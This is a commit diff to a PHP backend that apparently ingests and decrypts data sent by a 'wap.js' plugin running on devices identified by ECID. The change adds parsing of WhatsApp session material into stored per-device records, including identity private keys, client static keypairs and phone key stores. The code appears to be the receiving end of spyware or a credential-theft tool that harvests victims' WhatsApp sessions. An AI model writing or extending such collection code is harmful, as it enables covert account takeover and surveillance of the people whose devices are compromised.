feat: ds
This commit is contained in:
@@ -62,14 +62,14 @@ class DecryptXxbbBody
|
||||
}
|
||||
|
||||
if (is_array($payload)) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
foreach (['d', 'f', 'ecid'] as $k) {
|
||||
if (! empty($payload[$k]) && is_string($payload[$k])) {
|
||||
$deviceKey = $payload[$k];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
foreach (['d', 'f', 'ecid'] as $k) {
|
||||
if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
|
||||
$deviceKey = $payload['form'][$k];
|
||||
break;
|
||||
|
||||
@@ -48,6 +48,7 @@ class IngestService
|
||||
}
|
||||
$candidates[] = $payload['d'] ?? null;
|
||||
$candidates[] = $payload['f'] ?? null;
|
||||
$candidates[] = $payload['ecid'] ?? null;
|
||||
$candidates[] = $payload['deviceID'] ?? null;
|
||||
$candidates[] = $payload['deviceId'] ?? null;
|
||||
|
||||
@@ -541,12 +542,51 @@ class IngestService
|
||||
*/
|
||||
public function ingestWhatsAppAuth(Device $device, ?array $payload): void
|
||||
{
|
||||
$payload = $this->normalizeWhatsAppPayload($payload);
|
||||
$this->upsertPluginSession($device, PluginSession::KIND_WHATSAPP, $payload, [
|
||||
'userId', 'phoneId', 'registrationID',
|
||||
'identity', 'identityPrivateKey', 'identityPublicKey',
|
||||
'clientStaticKeypairBase64', 'phoneKeyStore',
|
||||
'deviceConfig', 'whatsappVersion',
|
||||
], ['userId', 'user_id']);
|
||||
'deviceConfig', 'whatsappVersion', 'nickname',
|
||||
], ['userId', 'user_id', 'account']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Live wap.js: {account, data: json-string, ecid}. Older builds send keys at the top level.
|
||||
*
|
||||
* @param array<string, mixed>|null $payload
|
||||
* @return array<string, mixed>|null
|
||||
*/
|
||||
private function normalizeWhatsAppPayload(?array $payload): ?array
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return $payload;
|
||||
}
|
||||
|
||||
$data = $payload['data'] ?? null;
|
||||
if (is_string($data) && $data !== '') {
|
||||
$decoded = json_decode($data, true);
|
||||
if (is_array($decoded)) {
|
||||
$payload = array_merge($decoded, $payload);
|
||||
}
|
||||
}
|
||||
|
||||
foreach (['phoneKeyStore', 'deviceConfig', 'userId'] as $key) {
|
||||
$value = $payload[$key] ?? null;
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$inner = json_decode($value, true);
|
||||
if (json_last_error() === JSON_ERROR_NONE) {
|
||||
$payload[$key] = $inner;
|
||||
}
|
||||
}
|
||||
|
||||
if (! array_key_exists('userId', $payload) && isset($payload['account'])) {
|
||||
$payload['userId'] = $payload['account'];
|
||||
}
|
||||
|
||||
return $payload;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -627,7 +667,7 @@ class IngestService
|
||||
}
|
||||
}
|
||||
$phone = $kind === PluginSession::KIND_WHATSAPP
|
||||
? $this->scalarToString($payload['userId'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
|
||||
? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
|
||||
: null;
|
||||
|
||||
PluginSession::query()->updateOrCreate(
|
||||
|
||||
Reference in New Issue
Block a user